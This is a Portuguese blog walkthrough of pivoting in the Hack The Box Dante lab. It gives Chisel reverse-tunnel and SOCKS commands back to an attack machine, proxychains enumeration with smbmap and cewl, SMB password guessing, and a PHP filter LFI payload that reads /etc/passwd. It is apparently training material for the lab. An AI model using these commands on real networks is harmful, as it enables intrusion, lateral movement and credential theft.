HTB - Write Up - Pivoting com Chisel (WEB-NIX01)

 Enumeração Interna


Após realizar a primeira exploração e obter acesso a primeira máquina DANTE-WEB-NIX01, o passo seguinte é fazer o reconhecimento interno do servidor e buscar por credenciais disponíveis para acessar outros servidores e para persistir o acesso. 

Nesse ponto, manter o acesso ao servidor que já está Owned é importante, e o SSH pode ser um ponto de acesso usado para a persistência. 

Nesse laboratório, existe o usuário Balthazar. Depois de executar a escalação de privilégio e acessar o diretório do usuário James, no arquivo .bash_history foi possível encontrar credenciais de acesso do Balthazar. A partir desse ponto, consegui acesso SSH diretamente. 

Ao realizar a enumeração na máquina DANTE-WEB-NIX01, encontrei o binário do nmap disponível e iniciei um scan na rede 172.16.1.0/24, na qual a máquina DANTE-WEB-NIX01 está conectada. Descobri diversos hosts na rede e comecei a fazer um scan em cada servidor individualmente. 

Agora com as informações sobre as máquinas da rede 172.16.1.x e as portas de cada servidor, é necessário criar uma forma de acessar esses servidores. 

Um detalhe importante que vale mencionar é que o binário do nmap nem sempre estará disponível no servidor atacado. Neste caso, é necessário fazer o download do binário e enviá-lo para o servidor. O download do nmap pode ser feito no site oficial NMAP ou nesse github aqui

Chisel 

O Chisel é uma ferramenta para Pivoting e é de fácil entendimento e configuração. A idéia é usar a máquina DANTE-WEB-NIX01 como "ponte" para acesso a rede remota 172.16.1x. 

O download do binário do Chisel pode ser feito no github deste link Esse binário será transferido para a máquina DANTE-WEB-NIX01, e será o client para conexão com a máquina Kali. 

A instalação do chisel no Kali pode ser feita pelo comando apt install chisel, conforme a documentação oficial: www.kali.org/tools/chisel/

Port Forwarded 

Chisel Server 

Na máquina Kali iniciamos o servidor 

chisel server -p 8000 --reverse

Chisel Client 

Na máquina DANTE-WEB-NIX01 executamos o comando abaixo para estabelecer a conexão com a máquina Kali: 

./chisel_1.8.1_linux_amd64 client [IP-Attack-Machine]:8000 R:8001:[Target-Machine]:80

Neste cenário, podemos acessar diretamente os servidores na rede 172.16.1.x na porta 80. No navegador da máquina Kali configuramos o proxy com endereço 127.0.0.1 na porta 8001, e acessamos o servidor da rede 172.16.1.x na porta 8001 e a requisição é redirecionada para a porta 80. Na imagem abaixo é possível visualizar o Pivoting com Port Forwarding. 


Podemos ainda manter o Burp Suite como o proxy do navegador e configurar a porta 8001 como proxy Upstream (127.0.0.1:8001). Assim podemos interceptar a comunicação com a rede 172.16.1.x.



Pivoting Socks e Proxychains

Neste cenário, acessamos a porta 80 da máquina na rede 172.16.1.x diretamente, ou seja, não feito o Port Forwarding pois a conexão é direta, e qualquer serviço da rede remota é acessado diretamente. 


Na máquina Kali, mantemos o servidor ativo com o comando abaixo: 

chisel server -p 8000 --reverse

Chisel Client

Na máquina-alvo, iniciamos o client mas dessa vez usamos o parâmtro Socks

./chisel_1.8.1_linux_amd64 client [Attack-Machine]:8000 R:socks

O proxychains será usado como proxy Socks, interceptando a comunicação da máquina Kali com a rede remota. 

No arquivo /etc/proxychains4.conf adicionamos a porta do proxy, conforme abaixo: 


No navegador adicionamos a porta do proxychains. 


Outra opção é manter o navegador configurado com o Burp Suite e configurar o proxy Socks no Burp. 


Com essa configuração podemos acessar a rede 172.16.1.x diretamente, e com o proxychains podemos executar comandos. Começamos então a enumerar os serviços nos servidores da rede remota. 

proxychains smbmap -H [IP] 


proxychains smbmap -H [IP] -r '[diretório-remoto]' 


proxychains cewl http://[site-remoto] -w dicio.txt


proxychains smb [IP] -u [user] -p dicio.txt


A máquina-remota NIX02 possui uma aplicação vulnerável a LFI - Local File Include que permite a leitura de arquivos internos. 


Também é possível executar o LFI usando o PHP Wrapper com filtro Read e encode em base64. 

php://filter/read=convert.base64-encode/resource=/etc/passwd




Continua...

Referências: 




Comentários

Postagens mais visitadas